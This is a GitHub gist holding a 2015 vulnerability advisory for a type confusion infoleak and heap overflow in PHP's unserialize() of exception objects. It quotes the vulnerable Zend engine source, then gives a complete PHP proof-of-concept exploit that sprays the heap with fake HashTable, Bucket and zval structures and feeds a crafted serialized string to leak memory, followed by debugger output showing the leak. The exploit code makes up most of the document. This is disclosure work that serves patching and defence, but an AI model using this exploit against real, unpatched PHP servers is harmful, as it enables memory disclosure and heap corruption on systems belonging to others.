Skip to content

Instantly share code, notes, and snippets.

@chtg
Last active August 29, 2015 14:20
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chtg/4f57d0392ee8937d3e94 to your computer and use it in GitHub Desktop.
Save chtg/4f57d0392ee8937d3e94 to your computer and use it in GitHub Desktop.
Type Confusion Infoleak and Heap Overflow Vulnerability in unserialize() with exception

Type Confusion Infoleak and Heap Overflow Vulnerability in unserialize() with exception

Taoguang Chen <@chtg> - Write Date: 2015.3.3 - Release Date: 2015.4.28

A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.

Affected Versions

Affected is PHP 5.6 < 5.6.8
Affected is PHP 5.5 < 5.5.24
Affected is PHP 5.4 < 5.4.40

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

ZEND_METHOD(exception, getTraceAsString)
{
	zval *trace;
	char *res, **str, *s_tmp;
	int res_len = 0, *len = &res_len, num = 0;

	DEFAULT_0_PARAMS;
	
	res = estrdup("");
	str = &res;

	trace = zend_read_property(default_exception_ce, getThis(), "trace", sizeof("trace")-1, 1 TSRMLS_CC);
	zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC, (apply_func_args_t)_build_trace_string, 3, str, len, &num);

	...
	
static int _build_trace_string(zval **frame TSRMLS_DC, int num_args, va_list args, zend_hash_key *hash_key) /* {{{ */
{
	char *s_tmp, **str;
	int *len, *num;
	long line;
	HashTable *ht = Z_ARRVAL_PP(frame);
	zval **file, **tmp;
	
	...
	
	TRACE_APPEND_KEY("class");
	TRACE_APPEND_KEY("type");
	TRACE_APPEND_KEY("function");
	
	...

#define TRACE_APPEND_KEY(key)                                                   \
	if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) {    \
		if (Z_TYPE_PP(tmp) != IS_STRING) {                              \
			zend_error(E_WARNING, "Value for %s is no string", key); \
			TRACE_APPEND_STR("[unknown]");                          \
		} else {                                                        \
			TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));  \
		}                                                               \
	}

The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a fake HashTable and a fake Bucket. So we can supply a fake sring-type ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro, causing a crash or an information leak.

#define TRACE_APPEND_STRL(val, vallen)                                   \
	{                                                                    \
		int l = vallen;                                                  \
		*str = (char*)erealloc(*str, *len + l + 1);                      \
		memcpy((*str) + *len, val, l);                                   \
		*len += l;                                                       \
	}

There is using signed integer arithmetic in erealloc(). The memcpy() function's third parameter is a unsiged integer. The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.

<?php


ini_set("memory_limit", -1);

setup_memory();

$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');

echo $x, "\n";

function setup_memory()
{
	global $str, $hashtable;

	$base = 0x114000000 + 0x20;
	$bucket_addr = $base;
	$zval_delta = 0x100;
	$hashtable_delta = 0x200;
	$zval_addr = $base + $zval_delta;
	$hashtable_addr = $base + $hashtable_delta;

	$bucket  = "\x01\x00\x00\x00\x00\x00\x00\x00";
	$bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00";
	$bucket .= ptr2str($bucket_addr + 3*8);
	$bucket .= ptr2str($zval_addr);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str(0);
  
	$bucket .= ptr2str(zhash('class'));
	$bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00";
	$bucket .= ptr2str($bucket_addr + 3*8 + 9*8);
	$bucket .= ptr2str($zval_addr + 5*8 + 6);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str(0);
	$bucket .= ptr2str($zval_addr + 2*5*8 + 2*6);
	$bucket .= ptr2str($bucket_addr);
	$bucket .= ptr2str($bucket_addr + 9*8);

	$hashtable  = "\x00\x00\x00\x00";
	$hashtable .= "\x01\x00\x00\x00";
	$hashtable .= "\x03\x00\x00\x00";
	$hashtable .= "\x00\x00\x00\x00";
	$hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";
	$hashtable .= ptr2str(0);
	$hashtable .= ptr2str($bucket_addr);
	$hashtable .= ptr2str($bucket_addr + 9*8);
	$hashtable .= ptr2str($bucket_addr + 18*8);
	$hashtable .= ptr2str(0);
	$hashtable .= "\x00";
	$hashtable .= "\x00";
  
	$zval = ptr2str($hashtable_addr);
	$zval .= ptr2str(0);
	$zval .= "\x00\x00\x00\x00";
	$zval .= "\x04";
	$zval .= "\x00";
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
  
	$zval .= ptr2str(0x100352572);
	$zval .= ptr2str(0x16);
	$zval .= "\x00\x00\x00\x00";
	$zval .= "\x06";
	$zval .= "\x00";
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
  
	$zval .= ptr2str(hexdec(bin2hex(strrev('class'))));
 
	$part = str_repeat("\x73", 4096);
	for ($j = 0; $j < strlen($bucket); $j++) {
		$part[$j] = $bucket[$j];
	}
	for ($j = 0; $j < strlen($hashtable); $j++) {
		$part[$j + $hashtable_delta] = $hashtable[$j];
	}
	for ($j = 0; $j < strlen($zval); $j++) {
		$part[$j + $zval_delta] = $zval[$j];
	}
	$str = str_repeat($part, 1024*1024*256/4096);
}

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

function zhash($key)
{
	$hash = 5381;
	$key = $key;
	$len = strlen($key) + 1;
	
	for (; $len >= 8; $len -= 8) {
		for ($i = 0; $i < 8; $i++) {
			$hash = (($hash << 5) + $hash) + ord($key{$i});
        }
	}
	$key = substr($key, -$len);
	for ($i = 0; $i < $len; $i++) {
		$hash = (($hash << 5) + $hash) + ord($key{$i});
	}
	return $hash;
}

?>

Test the PoC on the command line, then output some memory blocks:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run tcpoc.php
Process 1825 launched: '/usr/bin/php' (x86_64)
exception 'Exception' in tcpoc.php:7
Stack trace:
#0 [internal function]: UH??AWAVSPI??I??H????()
#1 {main}
Process 1825 exited with status = 0 (0x00000000) 
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment